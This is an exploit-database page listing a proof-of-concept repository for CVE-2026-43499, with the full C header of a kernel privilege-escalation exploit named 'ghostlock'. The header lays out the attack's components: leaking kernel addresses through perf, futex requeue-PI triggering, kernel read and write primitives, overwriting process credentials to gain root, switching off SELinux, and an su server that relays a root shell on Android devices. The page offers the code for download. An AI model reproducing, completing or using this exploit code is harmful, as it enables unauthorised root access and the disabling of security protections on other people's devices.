Exploit database

GH-d3dd38c935aa1f58d535fc12799ef27f

zzzxxxxxxxxxx/ghostlock-got-w29

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock-source/src/common.h

Text · 6,414 bytes
#ifndef COMMON_H
#define COMMON_H

#define _GNU_SOURCE

#include "offset.h"

#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/futex.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "util.h"

/* Syscall numbers that may be missing from old cross headers. */
#ifndef SYS_rseq
#define SYS_rseq 733
#endif
#ifndef SYS_sched_setattr
#define SYS_sched_setattr 274
#endif
#ifndef SYS_pselect6
#define SYS_pselect6 72
#endif

#define CORE 0

/* ------------------------------------------------------------------ */
/* runtime options (parsed from argv in main.c)                        */

struct ghostlock_opts {
  uint64_t kaslr_base;     /* runtime _stext override; 0 = perf leak      */
  uint64_t fake_lock_addr; /* private fake-lock page; 0 = target default  */
  uint64_t do_futex_waiter_off; /* waiter offset from sampled do_futex SP */
  const char *log_file;    /* persistent log sink (--log-file)            */
  int attempts;            /* max write-test attempts                     */
  int wait_seconds;        /* FUTEX_WAIT_REQUEUE_PI timeout               */
  int leak_timeout_seconds;/* extra child budget for perf waiter leak      */
  int requeue_ms;          /* delay before FUTEX_CMP_REQUEUE_PI            */
  int rt_prio;             /* waiter SCHED_FIFO prio; <=0 = stay CFS      */
  int probe_cycle;         /* value-based PI cycle (kernel.patched/QEMU)  */
  int fake_lock_window;    /* place fake lock in the MCAST stack window   */
  int waiter_task_own;     /* use perf-leaked waiter task, not init_task  */
  int noconsume;           /* encode payload but skip the trigger walk    */
  int hold;                /* SIGSTOP the child instead of killing it     */
  int detach;              /* child stays paused forever                  */
  int fsync;               /* fsync the log on final-result lines         */
  int verify_write;        /* run the MCAST write test (else leak only)   */
  int verify_leaf;         /* run the leaf (zero) write test              */
  int verify_read;         /* run the read primitive test                 */
  int verify_all;          /* write + leaf + read + restore                */
  int restore_bootid;      /* restore boot_id data pointer after a crash  */
  int escalate;            /* leak our task + point cred at init_cred     */
  int simple_root;         /* uid/gid edit + setresuid, retain shell SID  */
  int bench;               /* --bench N: success-rate measurement         */
  int harden;              /* leaf-zero panic_on_oops (risk reduction)    */
  int selinux_relax;       /* leaf-zero selinux_state.initialized + AVC   */
  int su_server;           /* escalate, then serve @gl_su                 */
  int su_selftest;         /* escalate + server + client round trip       */
  int serve_count;         /* max su requests to serve (0 = unlimited)    */
  const char *rsh_cmd;     /* --rsh CMD: run the client side              */
  int rsh_shell;           /* relay an interactive root shell             */
  const char *shell_path;  /* server shell (default /system/bin/sh)       */
  const char *slot_file;   /* fake-lock slot ledger (default             */
                           /*   /data/local/tmp/gl.slot; "" = in-process) */
};

extern struct ghostlock_opts g_opts;

struct local_sched_attr {
  uint32_t size;
  uint32_t sched_policy;
  uint64_t sched_flags;
  int32_t sched_nice;
  uint32_t sched_priority;
  uint64_t sched_runtime;
  uint64_t sched_deadline;
  uint64_t sched_period;
};

/* ------------------------------------------------------------------ */
/* state                                                               */

extern int runtime_cpu;          /* fastest allowed CPU (util.c)       */
extern uint64_t kaslr_base;      /* runtime _stext                     */
extern uint64_t kaslr_slide;     /* kaslr_base - KIMAGE_STEXT_LINK     */

/* ------------------------------------------------------------------ */
/* util.c                                                              */

int init_runtime_cpu(void);
void read_first_line(const char *path, char *buf, size_t len);
void log_startup_context(void);
void log_slide_child_context(void);
void disable_rseq_for_thread(void);
long futex_op(
    uint32_t *uaddr, int op, uint32_t val,
    const struct timespec *timeout, uint32_t *uaddr2, uint32_t val3);
long sched_setattr_tid(int tid, int nice_value);
uintptr_t kaslr_image_addr(uintptr_t image_addr);
uintptr_t canon_addr(uintptr_t image_addr);
void ghostlock_log_init(const char *path, int fsync_flag);

/* ------------------------------------------------------------------ */
/* perf.c                                                              */

uint64_t perf_leak_stext(void);
uint64_t perf_leak_waiter(uint64_t do_futex_waiter_off);
extern char perf_waiter_diag[256];

/* perf-based current-task leak (sample __schedule, x27 = sp_el0) */
#define PERF_TASK_CAND_MAX 16
extern uint64_t perf_task_cand[PERF_TASK_CAND_MAX];
extern unsigned perf_task_cnt[PERF_TASK_CAND_MAX];
extern int perf_task_ncand;
uint64_t perf_leak_task(void);

/* ------------------------------------------------------------------ */
/* slide.c                                                             */

int slide_run_write_test(void);
int slide_run_leaf_test(void);
int slide_run_read_test(void);
int slide_run_verify_all(void);
int slide_run_restore_bootid(void);
int slide_run_escalate(void);
int slide_run_simple_root(void);
int slide_run_bench(int n);
int slide_run_harden(void);
int slide_run_selinux_relax(void);

/* ------------------------------------------------------------------ */
/* su.c (mrx-w09 style su/broker channel)                              */

int su_run_server(void);
int su_run_selftest(void);
int su_run_client(const char *cmd);
int su_run_shell_client(void);

/* ------------------------------------------------------------------ */
/* main.c                                                              */

int run_exploit(int argc, char **argv);

#endif